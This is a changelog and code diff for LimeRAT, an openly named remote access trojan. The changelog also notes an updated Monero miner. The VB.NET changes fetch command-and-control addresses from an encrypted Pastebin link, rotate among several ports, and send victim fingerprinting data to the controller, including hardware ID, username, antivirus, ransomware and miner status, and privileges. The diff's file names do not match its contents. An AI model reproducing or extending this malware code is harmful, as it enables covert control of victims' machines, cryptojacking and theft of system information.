UPDATE v0.1.8.5C

*Updated XMR miner (v2.8.3)
*Updated multi port -> example pastebin "127.0.0.1:8989:7878:5656"

Author: Nyrotication

.vs/LimeRAT/DesignTimeBuild/.dtbcache

@@ -1,5 +1,5 @@
 '##################################################################
-'##        N Y A N   C A T  |||   Updated on Sept/25/2018        ##
+'##        N Y A N   C A T  |||   Updated on Oct./20/2018        ##
 '##################################################################
 '##                                                              ##
 '##                                                              ##

.vs/LimeRAT/v15/.suo

@@ -1,4 +1,6 @@
-Namespace Lime
+Imports System.Collections.Generic
+
+Namespace Lime
 
     Public Class C_TcpClient
         Public Shared ENDOF As String = C_Settings.ENDOF
@@ -10,6 +12,7 @@
         Public Shared MS As IO.MemoryStream = Nothing
         Public Shared Tick As System.Threading.Timer = Nothing
         Public Shared KA As Integer = 0
+        Public Shared P As New List(Of Integer)
 
         Public Shared Sub Connect()
 
@@ -93,24 +96,29 @@ re:
                 C_Settings.HOST = "127.0.0.1"
                 C_Settings.PORT = 8989
 #Else
+
                 Using WC As New Net.WebClient 'Pastebin, split by ":" IP:PORT
                     Try
                         Dim myCredentials As New Net.NetworkCredential("", "")
                         WC.Credentials = myCredentials
                         Dim Response As String = WC.DownloadString(C_Encryption.AES_Decrypt(C_Settings.Pastebin))
-                        C_Settings.HOST = Response.Split(":")(0)
-                        C_Settings.PORT = Response.Split(":")(1)
+                        ' Dim Response As String = WC.DownloadString((C_Settings.Pastebin))
+                        Dim SPL = Split(Response, ":")
+                        C_Settings.HOST = SPL(0)
+                        Dim r As New Random
+                        C_Settings.PORT = SPL(New Random().Next(1, SPL.Length))
                         WC.Dispose()
                     Catch ex As Exception
                     End Try
                 End Using
 
 #End If
+
                 C.Connect(C_Settings.HOST, C_Settings.PORT)
                 Alive = True
                 MS = New IO.MemoryStream
 
-                Send(String.Concat("info", SPL, C_ID.HWID, SPL, C_ID.UserName, SPL, "v0.1.8.5B", SPL, C_ID.MyOS, " ", C_ID.Bit, SPL,
+                Send(String.Concat("info", SPL, C_ID.HWID, SPL, C_ID.UserName, SPL, "v0.1.8.5C", SPL, C_ID.MyOS, " ", C_ID.Bit, SPL,
                                   C_ID.INDATE, SPL, C_ID.AV, SPL, C_ID.Rans, SPL, C_ID.XMR, SPL, C_ID.USBSP, SPL, C_Settings.PORT, SPL, C_ID.dotNET, SPL, "...", SPL, " ", SPL,
                                   C_ID.Privileges.ToString, SPL, C_Settings.fullpath))